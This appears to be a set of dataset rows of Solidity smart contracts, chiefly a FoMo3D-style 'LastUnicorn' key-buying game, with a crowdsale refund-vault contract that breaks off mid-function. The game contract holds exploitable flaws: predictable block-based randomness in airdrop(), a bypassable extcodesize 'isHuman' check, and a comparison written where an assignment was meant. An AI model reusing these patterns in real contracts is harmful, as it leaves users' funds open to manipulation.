function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
interface TeamDreamHubInterface {
function deposit() external payable;
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 322 |
pragma solidity ^0.4.24;
contract RSEvents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
contract modularLastUnicorn is RSEvents {}
contract LastUnicorn is modularLastUnicorn {
using SafeMath for *;
using NameFilter for string;
using RSKeysCalc for uint256;
UnicornInterfaceForForwarder constant private TeamUnicorn = UnicornInterfaceForForwarder(0xBB14004A6f3D15945B3786012E00D9358c63c92a);
UnicornBookInterface constant private UnicornBook = UnicornBookInterface(0x98547788f328e1011065E4068A8D72bacA1DDB49);
string constant public name = "LastUnicorn Round #1";
string constant public symbol = "RS1";
uint256 private rndGap_ = 0;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => RSdatasets.Player) public plyr_;
mapping (uint256 => RSdatasets.PlayerRounds) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
RSdatasets.Round public round_;
uint256 public fees_ = 60;
uint256 public potSplit_ = 45;
constructor()
public
{
}
modifier isActivated() {
require(activated_ == true, "its not ready yet");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "non smart contract address only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "too little money");
require(_eth <= 100000000000000000000000, "too much money");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, _eventData_);
}
function buyXid(uint256 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
buyCore(_pID, _affCode, _eventData_);
}
function buyXaddr(address _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function buyXname(bytes32 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
reLoadCore(_pID, _affCode, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_.end && round_.ended == false && round_.plyr != 0)
{
RSdatasets.EventReturns memory _eventData_;
round_.ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit RSEvents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = UnicornBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = UnicornBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = UnicornBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _now = now;
if (_now < round_.end)
if (_now > round_.strt + rndGap_)
return( (round_.end).sub(_now) );
else
return( (round_.strt + rndGap_).sub(_now));
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
if (now > round_.end && round_.ended == false && round_.plyr != 0)
{
if (round_.plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_.pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID).sub(plyrRnds_[_pID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID).sub(plyrRnds_[_pID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID)
private
view
returns(uint256)
{
return( ((((round_.mask).add(((((round_.pot).mul(potSplit_)) / 100).mul(1000000000000000000)) / (round_.keys))).mul(plyrRnds_[_pID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256)
{
return
(
round_.keys,
round_.end,
round_.strt,
round_.pot,
round_.plyr,
plyr_[round_.plyr].addr,
plyr_[round_.plyr].name,
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID)),
plyr_[_pID].aff,
plyrRnds_[_pID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
{
core(_pID, msg.value, _affID, _eventData_);
} else {
if (_now > round_.end && round_.ended == false)
{
round_.ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, RSdatasets.EventReturns memory _eventData_)
private
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_pID, _eth, _affID, _eventData_);
} else if (_now > round_.end && round_.ended == false) {
round_.ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
}
function core(uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_.eth < 100000000000000000000 && plyrRnds_[_pID].eth.add(_eth) > 10000000000000000000)
{
uint256 _availableLimit = (10000000000000000000).sub(plyrRnds_[_pID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_.eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys);
if (round_.plyr != _pID)
round_.plyr = _pID;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 100000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID].keys = _keys.add(plyrRnds_[_pID].keys);
plyrRnds_[_pID].eth = _eth.add(plyrRnds_[_pID].eth);
round_.keys = _keys.add(round_.keys);
round_.eth = _eth.add(round_.eth);
_eventData_ = distributeExternal(_pID, _eth, _affID, _eventData_);
_eventData_ = distributeInternal(_pID, _eth, _keys, _eventData_);
endTx(_pID, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID)
private
view
returns(uint256)
{
return((((round_.mask).mul(plyrRnds_[_pID].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID].mask));
}
function calcKeysReceived(uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(UnicornBook), "only UnicornBook can call this function");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(UnicornBook), "only UnicornBook can call this function");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = UnicornBook.getPlayerID(msg.sender);
bytes32 _name = UnicornBook.getPlayerName(_pID);
uint256 _laff = UnicornBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function managePlayer(uint256 _pID, RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
uint256 _winPID = round_.plyr;
uint256 _pot = round_.pot + airDropPot_;
uint256 _win = (_pot.mul(45)) / 100;
uint256 _com = (_pot / 10);
uint256 _gen = (_pot.mul(potSplit_)) / 100;
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_.keys);
uint256 _dust = _gen.sub((_ppt.mul(round_.keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_com = _com.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
if (!address(TeamUnicorn).call.value(_com)(bytes4(keccak256("deposit()"))))
{
_gen = _gen.add(_com);
_com = 0;
}
round_.mask = _ppt.add(round_.mask);
_eventData_.compressedData = _eventData_.compressedData + (round_.end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.newPot = 0;
return(_eventData_);
}
function updateGenVault(uint256 _pID)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID].mask = _earnings.add(plyrRnds_[_pID].mask);
}
}
function updateTimer(uint256 _keys)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_.end && round_.plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_.end);
if (_newTime < (rndMax_).add(_now))
round_.end = _newTime;
else
round_.end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
returns(RSdatasets.EventReturns)
{
uint256 _com = _eth * 5 / 100;
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit RSEvents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _pID, _aff, now);
} else {
_com += _aff;
}
if (!address(TeamUnicorn).call.value(_com)(bytes4(keccak256("deposit()"))))
{
}
return(_eventData_);
}
function distributeInternal(uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_)
private
returns(RSdatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_)) / 100;
uint256 _air = (_eth / 20);
airDropPot_ = airDropPot_.add(_air);
uint256 _pot = (_eth.mul(20) / 100);
uint256 _dust = updateMasks(_pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_.pot = _pot.add(_dust).add(round_.pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_.keys);
round_.mask = _ppt.add(round_.mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID].mask = (((round_.mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID].mask);
return(_gen.sub((_ppt.mul(round_.keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
(msg.sender == 0xcD0fce8d255349092496F131f2900DF25f0569F8),
"only owner can activate"
);
require(activated_ == false, "LastUnicorn already activated");
activated_ = true;
round_.strt = now - rndGap_;
round_.end = now + rndInit_;
}
}
library RSdatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
}
struct Round {
uint256 plyr;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
}
}
library RSKeysCalc {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface UnicornInterfaceForForwarder {
function deposit() external payable returns(bool);
}
interface UnicornBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
} | 0 | 805 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != 0x0);
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
Closed();
